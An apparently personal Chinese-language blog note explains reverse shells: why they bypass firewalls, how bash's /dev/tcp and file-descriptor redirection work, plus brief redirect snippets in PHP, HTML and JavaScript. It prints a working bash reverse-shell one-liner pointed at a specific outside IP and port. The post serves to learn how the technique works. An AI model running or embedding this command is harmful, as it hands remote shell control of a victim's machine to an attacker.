Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

反弹shell

最近看到的要用到反弹shell的地方比较多,这里做一个好好的理解

反弹shell的标准语句

1
bash -i >& /dev/tcp/47.236.106.198/2333 0>&1

反弹shell的原因

目标主机由于防火墙受限制,权限等问题无法实现正向连接或不适合用正向连接(攻击者在自己的机器去连接目标机器),这个时候就需要去使用到反弹shell

反弹shell的本质

反弹shell的本质其实很简单,就是让目标主机(即受害者主机)主动连接到攻击者主机上,在通过攻击者主机的端口监听,实现从攻击者主机上连接到目标主机的服务器端,通过反弹请求,将攻击者主机上的命令传输到受害者主机上,在将回显返回到攻击者主机上,从而实现反弹shell

ok,我们回到我们的标准语句上来看

我们先来看bash -i/dev/tcp/

bash 是linux 的一个比较常见的shell

-i 这个参数表示的是产生交互式的shell

/dev/tcp/这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

这里解释一个概念socket通信

socket通信其实这个是实现反弹shell的根本,通过建立socket通信,从而实现了受害者主机和攻击者主机之间的交互,其本质上就是一个传输作用上的通道,可以实现从受害者主机和攻击者主机两端之间的交互,从而达到我们需要的命令传输的目的

实际上,Socket是在应用层和传输层之间的一个抽象层,它把TCP/IP层复杂的操作抽象为几个简单的接口,供应用层调用实现进程在网络中的通信。Socket起源于UNIX,在Unix一切皆文件的思想下,进程间通信就被冠名为文件描述符(file desciptor),Socket是一种“打开—读/写—关闭”模式的实现,服务器和客户端各自维护一个“文件”,在建立连接打开后,可以向文件写入内容供对方读取或者读取对方内容,通讯结束时关闭文件

>< 其实也很好理解,就是表明传输的方向

> :实现在受害者主机的执行指令在攻击者主机上的显示

< :实现攻击者主机的执行命令对受害者主机的传输

0::标准输入的文件描述符。

1:标准输出的文件描述符。

547

这里就比较形象的表达反弹shell的关系

输入0由攻击者主机上输入,执行结果1也是在攻击者主机上输出,从而形成回路,实现远程交互shell,答到反弹shell的目的

0>&10<&1**其实是一样的,这里两个**都是将文件描述符 n 复制到 m** ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开**因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

重定向

这里稍微记一下,感觉没有什么特别不好理解的地方

用HTTP头信息

1
Header(“Location: $url”)

用HTML标记

1
2
3
4
5
6
7
<HTML>
<HEAD>
<META HTTP-EQUIV=”REFRESH” CONTENT=”5; URL='<?php echo $url;?>’ “>
</HEAD>
<BODY>
</BODY>
</HTML>

用脚本来实现

1
“<SCRIPT LANGUAGE=\”JavaScript\”>location.href=’$url'</SCRIPT>”

评论